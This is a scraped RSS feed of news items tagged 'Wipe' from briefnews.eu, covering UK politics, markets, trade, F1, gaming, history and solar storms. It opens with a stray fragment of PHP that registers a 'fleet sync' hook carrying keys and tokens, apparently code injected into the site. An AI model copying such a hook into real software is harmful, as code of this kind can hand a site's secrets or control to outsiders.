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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Wipe – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 04 Nov 2019 12:23:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Wipe – Brief News https://briefnews.eu 32 32 Farage vows to wipe out Labour in three heartlands ‘I’ve done it once I’ll do it again’ https://briefnews.eu/farage-vows-to-wipe-out-labour-in-three-heartlands-ive-done-it-once-ill-do-it-again/ https://briefnews.eu/farage-vows-to-wipe-out-labour-in-three-heartlands-ive-done-it-once-ill-do-it-again/#respond Mon, 04 Nov 2019 12:23:53 +0000 http://briefnews.eu/farage-vows-to-wipe-out-labour-in-three-heartlands-ive-done-it-once-ill-do-it-again/

Good Morning Britain returned to ITV this morning and Piers Morgan and Susanna Reid were back presenting after a brief hiatus for October half term. Joining them live in the studio was Nigel Farage MEP to discuss the upcoming General Election and what the Brexit Party’s stance was. During the conversation, he wasted no time in attacking the Labour Party and revealing his plan to take them down. 

Farage is preparing to unveil 600 Brexit Party candidates for the December General Election this afternoon. 

But the dramatic move has been accused of threatening to split the Leave vote, and the presenters were keen to ask Farage about this point. However, the guest was stern and explained how it was all part of “hurting Labour”. 

“I’m going to take loads of Labour votes – I did it last time I’ll do it again,” Farage explained. 

“People have a choice in this election; you can vote Liberal Democrats and cancel Brexit, you can vote Labour and have another referendum to remain or virtually remain. 

READ MORE: Susanna Reid shuts down Richard Burgon over Labour’s Brexit policy

“Or you can have a remainers Brexit with Boris Johnson,” Farage continued but was cut short by Morgan. 

“There is another option,” the presenter said. “You can get behind Boris and have a political compromise. 

“Help Boris get a thumping majority which allows him to rewrite the rule book after the event?” 

Morgan also expressed concern about how Farage’s plan could potentially “bounce Boris out of Number 10”. 

“The reason we have elections is to give people fresh choices and to start again,” Farage commented. 

It comes after the Brexit Party leader failed to get a hardline Brexit alliance with the Prime Minister. 

Steve Baker, the chair of the European Research Group warned Farage to be “the man who hands Boris a weak and indecisive Parliament, and bringing about, therefore, his own worst fears”. 

Also during the interview, Farage explained why he wasn’t standing as a candidate in the General Election. 

Reid accused him of being a “coward” after being defeated seven times, but Farage hit back and was firm about having only stood once as a candidate. 

“I’ve only had one realistic chance of winning a seat, all the previous times I stood as a means of getting a message out and building up a political movement,” he told the show. 

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]]> https://briefnews.eu/farage-vows-to-wipe-out-labour-in-three-heartlands-ive-done-it-once-ill-do-it-again/feed/ 0 Stocks wipe out 2018 gains as FAANG stocks slide into a bear market https://briefnews.eu/stocks-wipe-out-2018-gains-as-faang-stocks-slide-into-a-bear-market/ https://briefnews.eu/stocks-wipe-out-2018-gains-as-faang-stocks-slide-into-a-bear-market/#respond Wed, 21 Nov 2018 02:42:25 +0000 http://briefnews.eu/stocks-wipe-out-2018-gains-as-faang-stocks-slide-into-a-bear-market/ Sad traderREUTERS/Lucas Jackson

  • Stocks erased gains for the year Tuesday, dragged lower by the biggest technology companies.
  • FAANG stocks entered a bear market, marking the first in seven years for Google parent Alphabet.
  • Follow the US indexes in real time here.

Wall Street erased yearly gains Tuesday as high-flying technology companies plummeted into a bear market, adding to fears about slowing growth and trade tensions.

The tech-heavy Nasdaq Composite dropped 1.7% to a seven-month low, while the S&P 500 shed 1.74%. The Dow Jones Industrial Average tumbled more than 2%, or about 550 points.

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]]> https://briefnews.eu/stocks-wipe-out-2018-gains-as-faang-stocks-slide-into-a-bear-market/feed/ 0 Trump reportedly says he wants to wipe German cars off U.S. streets https://briefnews.eu/trump-reportedly-says-he-wants-to-wipe-german-cars-off-u-s-streets/ https://briefnews.eu/trump-reportedly-says-he-wants-to-wipe-german-cars-off-u-s-streets/#respond Thu, 31 May 2018 14:10:07 +0000 http://briefnews.eu/trump-reportedly-says-he-wants-to-wipe-german-cars-off-u-s-streets/

BERLIN/FRANKFURT — A report that U.S. President Donald Trump has threatened to pursue German carmakers until there are no Mercedes-Benz rolling down New York’s Fifth Avenue dented shares in the luxury car manufacturers on Thursday.

An excerpt from German magazine Wirtschaftswoche’s article, which cited several unnamed European and U.S. diplomats but did not include any direct quotes, could not be independently verified, while a U.S. Embassy spokesman in Berlin referred questions to Washington.

The news and current affairs magazine said Trump had told French President Emmanuel Macron in April that he aimed to push German carmakers out of the United States altogether. Macron’s administration in Paris declined to comment on the report.

The Trump administration last week opened a so-called Section 232 trade investigation into vehicle imports, which could result in a 25 percent tariff on cars on the same “national security” grounds Washington used to impose metals duties in March.

This could destroy exports by German carmakers, which control 90 percent of the U.S. premium market and are the biggest European Union exporters of cars to the United States.

BMW owns Rolls-Royce, while Daimler has Mercedes-Benz, and Volkswagen controls Bentley, Bugatti, Porsche and Audi.

Daimler, BMW and Audi declined comment. Porsche was not immediately available for comment.

BMW shares were trading 0.5 percent lower at 0939 GMT, while Daimler and VW’s shares were down 1 percent and 1.6 percent respectively, underperforming Germany’s blue-chip DAX.

Trump has railed against German carmakers before. And in early 2017, in an interview with German newspaper Bild, he said he would impose 35 percent tariffs on imported cars.

At the time, the president called Germany a great car producer but said that the business relationship with the United States was an unfair one-way street.

Germany’s auto industry association VDA says its members exported 657,000 vehicles to North America last year, with total exports of vehicle components, cars, engines, as well as second-hand vehicles totaling 31.2 billion euros in 2016.

Imports from the United States to Germany amounted to 7.4 billion euros, meaning a trade deficit of 23.8 billion euros the VDA’s latest available figures show.

However, German brands also have huge factories in the United States, where they built 804,000 cars last year, VDA said, providing jobs for U.S. workers.

Berlin has reacted angrily to the U.S. vehicle imports investigation, but the head of Germany’s BDI industry association Dieter Kempf on Thursday called for prudence in the growing trade tensions between the EU and the United States.

If the EU imposes countermeasures, it must expect Trump to come up with further measures, he told Deutschlandfunk radio.

EU passenger car imports from the United States were worth 6.2 billion euros ($ 7.3 billion) last year, while the bloc’s U.S. exports topped 37 billion euros, according to Brussels-based industry association ACEA.

The threats made to the car sector are part of a bigger trade dispute with the United States.

Trump’s commerce secretary, Wilbur Ross, on Thursday was expected to announce that the U.S. would end an EU exemption from tariffs on U.S. imports of steel and aluminum, a move Germany has warned could lead to a trade war.

Late on Wednesday, talks to avoid a transatlantic trade war showed no sign of a breakthrough.

German Finance Minister Olaf Scholz told Reuters there were no signs of a de-escalation and that the EU response to any tariffs must be “clear and strong and smart.”

Trump’s auto tariff is a test of Franco-German solidarity since French carmakers have hardly any U.S. sales, while German carmakers generate up to 30 percent of global sales there.

A 25 percent tariff would destroy the business case for German carmakers to export to the United States, and mean a 4.5 billion euro hit for Germany’s premium manufacturers, analysts at Evercore ISI said in a note last week.

Audi and Porsche are seen to be particularly vulnerable because they do not have U.S. factories, while Mercedes-Benz and BMW have large established plants which could more easily allow them to expand local production capacity if imports were curtailed.

Reporting by Madeline Chambers and Edward Taylor

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]]> https://briefnews.eu/trump-reportedly-says-he-wants-to-wipe-german-cars-off-u-s-streets/feed/ 0 Lewis Hamilton and Sebastian Vettel SPAT after qualifying: ‘Wipe that smile off your face' https://briefnews.eu/lewis-hamilton-and-sebastian-vettel-spat-after-qualifying-wipe-that-smile-off-your-face/ https://briefnews.eu/lewis-hamilton-and-sebastian-vettel-spat-after-qualifying-wipe-that-smile-off-your-face/#respond Sat, 24 Mar 2018 08:47:54 +0000 http://briefnews.eu/lewis-hamilton-and-sebastian-vettel-spat-after-qualifying-wipe-that-smile-off-your-face/

Hamilton had been quickest in practice on Friday but Vettel had topped the timesheet during FP3 and also found more speed in the second part of qualifying to set up an enticing battle for pole.

But the Mercedes driver appeared to find another gear in the closing minutes of the session, logging a 1:21.164 that was good enough to put him six tenths clear of both Ferrari drivers.

However, when it was put to him that Mercedes had used an extra “party” engine mode for the final part of qualifying, Hamilton denied the existence of any such button.

“We don’t have a party mode. I use the same mode from Q2 to the end of Q3 so there was no extra button, no extra mode that I engaged in,” Hamilton said.

Sitting next to him, Vettel chipped in: “What were you doing before then?”

Hamilton responded: “I was waiting to put a good lap in… wipe the smile off your face.”

Both drivers were smiling but the atmosphere was anything but jovial as the rivals sparred for the first time this season.

Later, Hamilton explained: “It really was a joke, dude.”

The two men have eight world titles between them after Hamilton drew level in 2018, winning the F1 World Drivers’ Championship with two races to spare.

Vettel meanwhile saw his bid go up in smoke as Ferrari’s reliability issues dogged the second half of the season.

But even before the problems, Mercedes appeared to have the upper hand, especially in qualifying.

And Hamilton was one again imperious over one lap, breaking Ayrton Senna’s record of six by bagging his seventh Australian Grand Prix pole position.

“You would think that with the results we had it would be the norm but it isn’t, it’s so intense and my heart is racing,” Hamilton said.

“I’m so happy with that lap. It was such a nice lap. I’m always striving for perfection and that was as close as I could get.”

He added, when asked about a “party mode” in the engine settings: “I’m always in party mode!

“What was surprising was to see how quick the Ferraris were. During that lap I was in the same modes as before but it was hooking up the tyres and getting the lap together.”

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]]> https://briefnews.eu/lewis-hamilton-and-sebastian-vettel-spat-after-qualifying-wipe-that-smile-off-your-face/feed/ 0 Piles – do NOT use this to wipe after using the toilet https://briefnews.eu/piles-do-not-use-this-to-wipe-after-using-the-toilet/ https://briefnews.eu/piles-do-not-use-this-to-wipe-after-using-the-toilet/#respond Fri, 23 Feb 2018 17:28:33 +0000 http://briefnews.eu/piles-do-not-use-this-to-wipe-after-using-the-toilet/

PILES treatments, including creams and dietary changes, could help to relieve symptoms of haemorrhoids. But, you should never use this to wipe after using the toilet, or risk aggravating your piles.

]]> https://briefnews.eu/piles-do-not-use-this-to-wipe-after-using-the-toilet/feed/ 0 Who Killed the Nazi Botanist Trying to Wipe Out Cocaine? https://briefnews.eu/who-killed-the-nazi-botanist-trying-to-wipe-out-cocaine/ https://briefnews.eu/who-killed-the-nazi-botanist-trying-to-wipe-out-cocaine/#respond Sun, 28 Jan 2018 06:43:19 +0000 http://briefnews.eu/who-killed-the-nazi-botanist-trying-to-wipe-out-cocaine/ The old man was found facedown on the floor. His hands and feet had been tied with electrical tape; the same tape, bound tightly over his mouth and nose, had caused his death by asphyxiation. By his side was an empty cassette recorder. The local press published the provocative details of the 1991 murder of Heinz Brücher, but the culprits have never been apprehended or their motives established.

But in the years following Brücher’s death, Condor Huasi — Condor House, Brücher’s farmhouse on the outskirts of Mendoza, Argentina — revealed its occupant’s dark past and dangerous projects. Perched above its entrance, a crude metal sculpture of a bird with outspread wings peers down at visitors.

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“This isn’t a condor, it’s an eagle,” says Miguel Agnello, gesturing at the sculpture with its 5-foot wingspan. Agnello purchased Condor Huasiand its contents for a bargain price in 2002, but on entering the property for the first time, he was alarmed at what he found. Alongside graphic German magazines and propaganda from World War II, he came across thousands of handwritten index cards and small bags containing white powder. “I didn’t want any trouble, so I set fire to the lot,” he tells OZY.

Agnello destroyed the personal archive of one of the Third Reich’s leading scientists and, quite possibly, his master plan to wipe out the cocaine trade.

In 1997, Daniel Gade, a geographer at the University of Vermont who specialized in cultural ecology, was reading a book titled Biologists Under Hitler by Ute Deichmann, an adjunct professor at Ben-Gurion University of the Negev, when a familiar name appeared. Gade had met Heinz Brücher, a fellow plant scientist, on a research trip to Paraguay in 1975. He found the German cantankerous and enigmatic but was impressed by his vast knowledge of plants.

Brücher had accumulated an impressive range of enemies over his career.

The two remained friends, exchanging letters until early 1991. Gade died in 2015 but his unpublished papers, which a former student recently shared with OZY, describe the attempts he made to fill in the gaps of a biography his erstwhile friend had been reluctant to discuss. Brücher had been an officer in the SS, and in 1943, on Heinrich Himmler’s orders, had stolen the contents of the USSR’s seed banks in Ukraine — the largest in the world at the time. Diechmann’s book confirms Brücher’s epic act of biopiracy.

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Then, in 1945, with the Red Army pushing deep into Austria, he had disobeyed orders to destroy the vital collection of plant data, escaping via Sweden before turning up in Buenos Aires in 1949 with 400 kilograms of cargo, according to a 2006 article Gade published on the topic. Brücher and his encyclopedic knowledge of plants now made sense to Vermont professor.

Furthermore, Gade believed he had a motive for the German’s murder. In their correspondence, Brücher, who followed the Nazi line of eschewing alcohol, tobacco and drugs, had talked about working on a fungus — Fusarium oxysporum — capable of wiping out coca cultivations. In a subsequent visit to Argentina in 2006, Gade met Brücher’s son, who claimed his father had been working on such a project with support from unspecified U.S. organizations.

But Gade’s research also revealed how Brücher had accumulated an impressive range of enemies over his career. The suspect list grew, with potential motives ranging from a delayed KGB hit for his act of biopiracy to a conflict with a local potato magnate to Mossad or other Nazi hunters tracking him down. Yossi Melman, a historian in Mossad affairs, tells OZY that Brücher’s name was unfamiliar and that he was entirely the wrong profile for an attempted assassination out of Israel.

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The theory that Brücher was killed by narcos is strengthened by the man who spent more time with him than any other. Vicente Cabrera, a laborer from northern Argentina, met Brücher when he was in his teens and worked for him as a seed collector across Latin America, finally taking up residence at Condor Huasi. Now 57, Cabrera greets OZY at a table outside his house in the nearby town of Ugarteche. In the days after the murder, he was arrested and, he says, beaten by the police. He smokes vigorously, tossing the butts into the overgrown yard as he readily tells his version of the story.

“Heinz told me that we had to eliminate the coca plant,” he says. “He had a 200-page bundle of papers that he was going to publish as a book. I was to travel overland into Bolivia, injecting coca plants with a syringe over an area of 200 hectares [approximately 495 acres].” According to Cabrera, Brücher was murdered 10 days before the planned departure date. “I’m sure that if I had been at the house that night, they would have killed me too,” he says.

While almost impossible to verify, Cabrera’s account, combined with the allegation of Brücher’s son that his father had had U.S. support, at least fits the timeline of an international scheme to launch a biological war on the coca plant. In the early 1990s, U.S. government and law enforcement were searching for a fungus — code-named Agent Green — to kill off coca, and Fusarium oxysporum was a promising candidate. It and other mycotoxins were promoted by the U.S.-led United Nations International Drug Control Program (now the U.N. Office on Drugs and Crime) under a plan called SCOPE (Strategy for Coca and Opium Poppy Elimination). In 1998, following objections from Andean nations, the U.N. rejected SCOPE.

Brücher’s role in this scheme and how he appeared on the radar of his murderers are unlikely to be established. In Mendoza the police file on the case has long since disappeared, and in Ugarteche only rumors remain — of a pickup seen lurking at Condor Huasi and the arrival and departure of two Bolivians that day from the nearby airport. But, according to Cabrera at least, the long career of Nazi Germany’s top botanist was on the cusp of a dramatic final act before he was cut down. “Heinz was very close,” he says. “Everything was ready; we were going to eliminate coca.”

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]]> https://briefnews.eu/who-killed-the-nazi-botanist-trying-to-wipe-out-cocaine/feed/ 0 PUBG news: Xbox One update, Battlegrounds PC wipe and PS4 release details https://briefnews.eu/pubg-news-xbox-one-update-battlegrounds-pc-wipe-and-ps4-release-details/ https://briefnews.eu/pubg-news-xbox-one-update-battlegrounds-pc-wipe-and-ps4-release-details/#respond Sun, 21 Jan 2018 23:33:27 +0000 http://briefnews.eu/pubg-news-xbox-one-update-battlegrounds-pc-wipe-and-ps4-release-details/

While PUBG Xbox One updates continue, Battlegrounds PC players are about to see a big wipe.

It’s been brewing for a long time and now developers Bluehole Inc. are ready to pull the trigger on widespread bans.

Having performed a gameplay data review of 10 million players and done analysis on tens of millions of data logs, Bluehole say they found 100,000 instances of cheating.

This boils down to a new pattern the development team have discovered which players have been using to compromise the game.

And everyone who has been identified in this wave of cheating will be banned permanently from PUBG.

“These players will be permanently banned in a single wave,” a message from Bluehole confirms.  This is an example of additional measures we will be taking on top of the basic detection systems in place. 

“We will continue to check the data logs like this even if it means the anti-cheat team has to filter through hundreds of billions of data logs manually. In addition, we are looking into adopting a new solution to detect and ban more cheaters and we have been continuously strengthening our security systems. 

“We have also liaised with investigative authorities in some countries to take legal actions against developers and distributors of cheats. We are determined to take strong measures against them going forward.”

It was recently revealed that PUBG on Xbox One is proving very popular, even with the game in its current unfinished state.

According to Microsoft, Battlegrounds on Xbox One already boasts over 3 million players, within the first month of it being available to buy.

The game has seen four updates since its launch as part of the Preview Program, although many more will be needed before it can leave early access.

Most of these patches have looked to improve the quality of the game, as well as remove a list of annoying bugs.

And the latest, which was released earlier this week, was no different, applying new changes to the version on Xbox One.

A message from Bluehole Inc. confirms: “As part of that update, we have decided to include some additional performance and gameplay improvements, as well as a new controller option.

“We want to thank our community for the continued feedback and look forward to the discussion that the changes below bring.”

One of the most notable changes that players will find straight away is that Pistols have been removed from Y button’s weapon rotation and grouped with the melee weapon.

However, other optimisation changes have also been made to the game.

Bluehole have also identified two other changes that are being worked on for a future build of the game.

These Battlegrounds bug fixes include:

  • Dropping objects causes the player to switch weapons.
  • User is unable to switch grenade types when tapping right on the D-Pad.

A new PUBG PS4 release date update was recently revealed, giving fans a better idea on just how long they might be left waiting for a launch.

Right now, the PC and the Xbox One is the only place to play Battlegrounds – but that could all change later this year.

Chang Han Kim, the CEO of PUBG developer PUBG Corp, gave a boost to PS4 and Nintendo Switch fans hoping for a Battlegrounds release.

He said that he hopes PUBG will one day be available on “every platform”.

Speaking to InvenGlobal, he said: “As it’s going to be an exclusive title on Xbox One for some time, we’d like to focus on completing the Xbox One PUBG for now. 

“If we have the opportunity, the final goal would be to launch the title on every platform.”

However, as noted above, it appears PUBG won’t be arriving on PS4, or any other new platform, until the Xbox One version has reached an almost complete stage.

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]]> https://briefnews.eu/pubg-news-xbox-one-update-battlegrounds-pc-wipe-and-ps4-release-details/feed/ 0 Plan was floated to wipe Soviet debt in exchange for nuclear disarmament, files show https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/ https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/#respond Fri, 29 Dec 2017 10:31:24 +0000 http://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/

Britain was urged to write off billions of dollars of Soviet debt in return for nuclear disarmament, declassified documents show. The 1991 plan was designed to stop nukes falling into the wrong hands after the USSR collapsed.

Then-British Prime Minister John Major received a letter from Jacques Attali, head of the London-based European Bank for Reconstruction and Development (EBRD), suggesting how to deal with the dangers of the Soviet Union’s collapse. “Dear John,” Attali wrote, “as you know the world’s main problems with the Soviet Union today are debt and nuclear weapons.

“I should therefore like to propose that we think about using one problem to solve another, that is to say, the organization of debt-nuclear swap – the partial or total exchange of nuclear weapons against debt relief. The price of world peace might only amount to some 1 percent of the combined annual defense budgets of the G7 [nations].”

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Overall Soviet debt was estimated to be $ 60 billion. There were around 25,000 Soviet nuclear devices. The debt-for-disarmament plan was never tested, appearing to have generated little interest in Downing Street as the Soviet Union’s dissolution accelerated.

The files, released for the first time by the National Archives, also contain records of frank and affectionate conversations between the last Soviet leader, Mikhail Gorbachev, and Major. Two days before his resignation, Gorbachev told Major the Soviet Union was on the point of collapse and may soon no longer exist.

In a phone conversation, he attempted to reassure Major that the nuclear arsenal remained under “strict control,” according to the Independent. Major spoke of Britain’s “enormous affection and respect” for Gorbachev and his wife, adding that his own wife, Norma, was with him and “sent her love.”

A record of the conversation said Gorbachev described the Majors as “great human beings,” adding: “Dear John, I and Raisa have developed an affection for you and Norma. I am allowing myself to be sentimental in saying it but at this time I can allow myself to be sentimental. In our family we still remember what Norma said during your visit to Moscow on your way to China – her reaction and her tears. Thank you for all of that.”

On December 25, 1991, Gorbachev finally announced his resignation, which was followed by a declaration that the Soviet Union had ceased to exist.

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]]> https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/feed/ 0 ‘Star Wars: The Last Jedi’ Will Have the Least Wipe Transitions of Any ‘Star Wars’ Movie https://briefnews.eu/star-wars-the-last-jedi-will-have-the-least-wipe-transitions-of-any-star-wars-movie/ https://briefnews.eu/star-wars-the-last-jedi-will-have-the-least-wipe-transitions-of-any-star-wars-movie/#respond Sat, 26 Aug 2017 18:01:03 +0000 http://briefnews.eu/star-wars-the-last-jedi-will-have-the-least-wipe-transitions-of-any-star-wars-movie/ Star Wars The Last Jedi Wipe Transitions

There are plenty of signature traits you’ll find in a Star Wars movie. There’s some variation of “I’ve got a bad feeling about this,” a varied group of aliens and creatures all over the place, and Stormtroopers who pretty much never hit their mark. But that’s all stuff within the Star Wars universe itself. Star Wars movies also have certain aesthetic traits that every fan will recognize, but when it comes to Star Wars: The Last Jedi, it will be distinctly lacking in one of those features.

Director Rian Johnson, who is currently busy in post-production on Star Wars: The Last Jedi, recently took to Twitter to reveal that his movie will have the least amount of wipe transitions of any Star Wars movie in the entire saga.

A couple days ago, Rian Johnson posed this question to his Twitter followers:

He didn’t follow up until yesterday with the the answer to that question:

That’s when he revealed this small detail about Star Wars: The Last Jedi:

The use of these transition wipes in Star Wars movies was a signature choice by George Lucas to move from one scene to another. He was inspired by similar wipes used in he films of Akira Kurosawa, whose movies had great influence on the style of the original Star Wars. It was a trait that stuck around when the prequels came around starting in 1999, and since The Phantom Menace has the most wipes, it looks like he maybe went a little overboard with the transitions, much like he eventually got a little excessive with the lightsabers.

However, it appears Rian Johnson may have his count of transition wipes off, including which one has the most. Here’s an infographic from the book Star Wars Super Graphic: A Visual Guide to a Galaxy Far, Far Away:

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According to the authors of this book, here’s how the transition wipe counts break down:

  • Star Wars: The Phantom Menace – 57
  • Star Wars: Attack of the Clones – 43
  • Star Wars: Revenge of the Sith – 102
  • Star Wars: A New Hope – 50
  • Star Wars: The Empire Strikes Back – 42
  • Star Wars: Return of the Jedi – 33
  • Star Wars: The Force Awakens – 19

The discrepancy here could be what Rian Jonson considers a wipe transition as opposed to how the authors of the book determined that. However, I’m inclined to trust the creators of the book since they break down the kind of wipes in question and how many times they appear. But even so, Star Wars: The Last Jedi still comes in last with the least amount of wipe transitions. So does the Star Wars The Last Jedi wipe transitions count mean anything for the overall style of the movie?

Well, even though it may be an aesthetic departure from the last movie, that’s not necessarily a bad thing. After all, Rogue One: A Star Wars Story doesn’t have any transitional wipes. But that’s more of an effort to make the spin-off stand out from the rest of the saga movies so those that follow don’t have to adhere to the same rules all the time. Even so, it still had the spirit of a Star Wars movie from the original trilogy.

However, we’ve heard from certain sources who have seen a rough cut of Star Wars: The Last Jedi that it’s different from any of the Star Wars movies we’ve seen before, but in a compelling way. Perhaps the lack of transitional wipes is something that helps solidify that sentiment. We’ll find out when Star Wars: The Last Jedi arrives on December 15, 2017.

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]]> https://briefnews.eu/star-wars-the-last-jedi-will-have-the-least-wipe-transitions-of-any-star-wars-movie/feed/ 0 A massive solar storm could wipe out almost all of our modern technology without warning https://briefnews.eu/a-massive-solar-storm-could-wipe-out-almost-all-of-our-modern-technology-without-warning/ https://briefnews.eu/a-massive-solar-storm-could-wipe-out-almost-all-of-our-modern-technology-without-warning/#respond Wed, 17 May 2017 21:19:28 +0000 http://briefnews.eu/a-massive-solar-storm-could-wipe-out-almost-all-of-our-modern-technology-without-warning/ solar flare sunNASA

Manhattanhenge is coming. On May 30th, the sun’s rays will stream dramatically down the avenues of New York City’s central borough. For New Yorkers used to sunsets hidden behind brick and steel canyons, it will be an awesome reminder of the sun’s beauty and power.

But when the sun really puts its power on display, we often can’t see it all, or predict it in advance. But the effects can be world-changing.

The last truly massive display of Sol’s power happened in 1859, when an invisible wave crashed into the Earth.

Electrons, swept up like so much detritus in the magnetic current, coursed along telegraph wires. When they met an obstacle, like the hand of a telegraph operator, they crashed through it — delivering a sharp shock.

Papers in telegraph offices caught fire. Even with batteries disconnected, operators found the giddy subatomic stream could carry their messages over vast distances. Lights danced in the sky.

It was the largest solar storm ever recorded. If it happened today, it would jeopardize global telecommunications, knock out orbiting satellites, and threaten to kill astronauts.

We’d have some warning; instruments all over the world and in space now monitor the sun every second of the day. But even at the speed of light, a massive solar flare’s telltale flash of radiation would leave humanity between just a few minutes and — if we were very lucky — a day to prepare for the wave of charged particles surging toward us through space.

Amazingly, way back in 1859, before all that monitoring equipment was put in place, an astronomer spotted the flare before the storm reached Earth.

Screen Shot 2016 09 02 at 4.31.32 PMHarvardAt 11:18 a.m. on September 1 of that year, the English astronomer Richard Carrington stood in his private observatory recording sunspots on an image of the sun projected through his telescope onto a small screen.

“Two patches of intensely bright and white light broke out,” he wrote in his report, “Description of a Singular Appearance seen in the Sun,” for the journal Monthly Notices of the Royal Astronomical Society.

“My first impression was that by some chance a ray of light had penetrated a hole in the screen attached to the object-glass, by which the general image is thrown into shade, for the brilliancy was fully equal to that of direct sunlight,” he wrote.

The next morning before sunrise, NASA writes, “skies all over planet Earth erupted in red, green, and purple auroras so brilliant that newspapers could be read as easily as in daylight. Indeed, stunning auroras pulsated even at near tropical latitudes over Cuba, the Bahamas, Jamaica, El Salvador, and Hawaii.”

Spacewalking astronauts might have only minutes after the first flash of light to find shelter … Their spacecraft would probably have adequate shielding; the key would be getting inside in time.

In the (mostly) pre-electric world of 1859, most of humanity experienced the storm as little more than a strange light show — if they were even awake to see it. And aside from a few smarting fingers, it doesn’t seem to have done anyone long-term harm.

As our world has grown more reliant on electronics in the last century and a half, humanity has had few glimpses of the potential dangers of solar storms to our new infrastructure. NASA records three instances dating back to 1972 of solar storms significantly disrupting daily life.

The latest example came in 2005, when X-rays from a solar flare disrupted satellite-to-ground communication and the GPS system for about 10 minutes — threatening satellite-guided air, sea, and land travel.

But none of those storms come close to the scale of the 1859 monster, known as the Carrington Event.

If a Carrington Event happened today, the world would likely have to deal with the simultaneous loss of GPS, cellphone reception, and much of the power grid. The global aircraft fleet might have to coordinate an unprecedented mass grounding without satellite guidance. Unguarded electronic infrastructure could fail outright.

We’d all have to — at least in the short term — wait for tomorrow’s newspaper to come out to learn details of the aftermath.

“Humans in space would be in peril, too,” NASA wrote. “Spacewalking astronauts might have only minutes after the first flash of light to find shelter from energetic solar particles following close on the heels of those initial photons. Their spacecraft would probably have adequate shielding; the key would be getting inside in time.”

The best available estimates suggest a modern Carrington Event would cost humanity $ 1 trillion to $ 2 trillion in the first year and take another four to 10 years to achieve full recovery. A 2007 NASA estimate found that the damage to the satellite fleet would cost between $ 30 billion and $ 70 billion.

Fortunately, Carrington Event-level storms seem pretty rare, occurring perhaps once in 500 years. But we have no reliable way of predicting when the next one could happen. So this Manhattanhenge, enjoy the sunset, but remember the deadly power it contains.

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